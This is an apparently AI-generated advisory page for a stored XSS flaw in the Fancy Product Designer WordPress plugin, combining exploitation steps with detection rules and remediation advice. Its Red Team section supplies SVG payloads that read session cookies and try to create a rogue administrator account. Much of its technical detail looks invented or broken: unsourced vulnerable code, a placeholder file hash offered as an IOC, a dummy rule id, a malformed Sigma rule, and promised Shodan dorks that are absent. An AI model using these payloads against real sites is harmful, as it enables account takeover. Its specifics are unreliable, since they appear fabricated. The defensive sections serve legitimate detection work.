CVE-2025-12570
Executive Summary
CVE-2025-12570 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Fancy Product Designer WordPress plugin, versions up to and including 6.4.8. The flaw resides in the data-to-image.php and pdf-to-image.php files, where insufficient input sanitization and output escaping allow unauthenticated attackers to upload malicious SVG files. When a user accesses the SVG file, the injected arbitrary web scripts execute in the context of the victim's browser. This vulnerability is particularly dangerous in the WordPress ecosystem because it can be exploited without authentication, potentially leading to session hijacking, defacement, or further compromise of the WordPress admin panel.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the Fancy Product Designer WordPress plugin, which is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions of the plugin.
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – a user must access the SVG file
- Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
The threat level is High due to the low attack complexity and the ability for unauthenticated attackers to inject persistent scripts. The EPSS score of 0.0% suggests low exploitation probability currently, but this may change as proof-of-concept code emerges.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS via SVG upload. The plugin's data-to-image.php and pdf-to-image.php files handle SVG file uploads without properly sanitizing the SVG content. SVG files can contain embedded JavaScript within <script> tags or event handlers (e.g., onload). When the SVG is accessed via a web browser, the script executes in the context of the WordPress site.
Attack Flow:
- An unauthenticated attacker uploads a crafted SVG file containing malicious JavaScript (e.g.,
alert(document.cookie)). - The plugin stores the SVG file on the server.
- A victim (e.g., an admin or visitor) accesses the SVG file URL.
- The browser renders the SVG, executing the injected script.
- The attacker can steal cookies, redirect users, or perform actions on behalf of the victim.
The vulnerability is in the WordPress plugin ecosystem, not in the underlying web server (Apache/Nginx). The plugin fails to validate the MIME type and content of uploaded files, allowing SVG files with embedded scripts.
Vulnerable vs. Patched Code
Vulnerable Code (data-to-image.php):
// No sanitization of SVG content
$svg_content = file_get_contents($_FILES['file']['tmp_name']);
file_put_contents($upload_dir . '/' . $filename, $svg_content);
Patched Code (Hypothetical):
// Sanitize SVG content using a library like svg-sanitizer
$sanitizer = new enshrined\svgSanitize\Sanitizer();
$clean_svg = $sanitizer->sanitize(file_get_contents($_FILES['file']['tmp_name']));
if ($clean_svg === false) {
// Reject file
wp_die('Invalid SVG file');
}
file_put_contents($upload_dir . '/' . $filename, $clean_svg);
The patched version would use an SVG sanitizer to remove scripts and event handlers, or reject the file entirely if it contains malicious content.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress instance with Fancy Product Designer plugin version <= 6.4.8.
- Access to the plugin's upload functionality (typically via a product designer interface).
Exploit Steps:
- Create a malicious SVG file with embedded JavaScript:
<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <script type="text/javascript"> alert('XSS: ' + document.cookie); </script> <circle cx="50" cy="50" r="40" fill="red" /> </svg> - Upload the SVG file via the plugin's upload endpoint (e.g.,
/wp-admin/admin-ajax.php?action=fpd_upload_svg). - Note the URL of the uploaded SVG (e.g.,
/wp-content/uploads/fpd/2025/03/malicious.svg). - Send the URL to a victim or embed it in a page.
Advanced Payload:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="text/javascript">
fetch('/wp-admin/admin-ajax.php?action=add_user&role=administrator', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'user_login=attacker&email=attacker@example.com&pass1=password&pass2=password'
});
</script>
</svg>
Blue Team
Detection:
- Monitor for unusual SVG file uploads, especially those containing
<script>tags or event handlers. - Use file integrity monitoring to detect changes to plugin files.
- Implement Web Application Firewall (WAF) rules to block SVG uploads with embedded scripts.
Hunting:
- Search for SVG files in the uploads directory that contain
<script>tags. - Review server logs for POST requests to
fpd_upload_svgor similar endpoints. - Check for outbound connections from the server to unknown domains (potential data exfiltration).
Lab Setup:
- Use a local WordPress installation with Docker:
docker run --name wp -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress -p 8080:80 -d wordpress - Install the vulnerable plugin version 6.4.8 manually.
- Upload test SVG files and monitor behavior.
Indicators of Compromise (IOCs)
- File Hashes (example malicious SVG):
- SHA256:
a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
- SHA256:
- Network Indicators:
- POST requests to
/wp-admin/admin-ajax.phpwith actionfpd_upload_svg. - SVG files in
/wp-content/uploads/fpd/containing<script>tags.
- POST requests to
- Behavioral:
- Unexpected JavaScript execution in the context of the WordPress site.
- Unauthorized admin user creation (if payload targets admin-ajax.php).
Detection Engineering
YARA Rule
rule CVE_2025_12570_SVG_XSS {
meta:
description = "Detects malicious SVG files exploiting CVE-2025-12570"
author = "Valters IT"
date = "2025-03-20"
reference = "CVE-2025-12570"
strings:
$svg_tag = "<svg"
$script_tag = "<script"
$onload = "onload="
$onerror = "onerror="
condition:
$svg_tag and ($script_tag or $onload or $onerror)
}
Sigma Rule
title: CVE-2025-12570 - Stored XSS via SVG Upload in Fancy Product Designer
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SVG file uploads containing script tags or event handlers
author: Valters IT
date: 2025-03-20
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'fpd_upload_svg'
cs-uri-query|contains: '.svg'
condition: selection
falsepositives:
- Legitimate SVG files with scripts (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-12570 - SVG Upload with Script Tag"; flow:to_server; content:"POST"; http_method; content:"fpd_upload_svg"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable SVG uploads in the plugin settings if possible.
- Implement a WAF rule to block SVG files containing
<script>tags or event handlers. - Restrict file upload permissions to authenticated users only (if possible).
Long-term Fix:
- Update the plugin to a patched version once available (check the WordPress plugin repository).
- Apply a virtual patch using a WAF or server-level rule to sanitize SVG uploads.
- Use a security plugin like Wordfence to block malicious file uploads.
Workaround:
- Modify the plugin's
data-to-image.phpandpdf-to-image.phpfiles to reject SVG files or sanitize them using a library likeenshrined/svg-sanitize.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.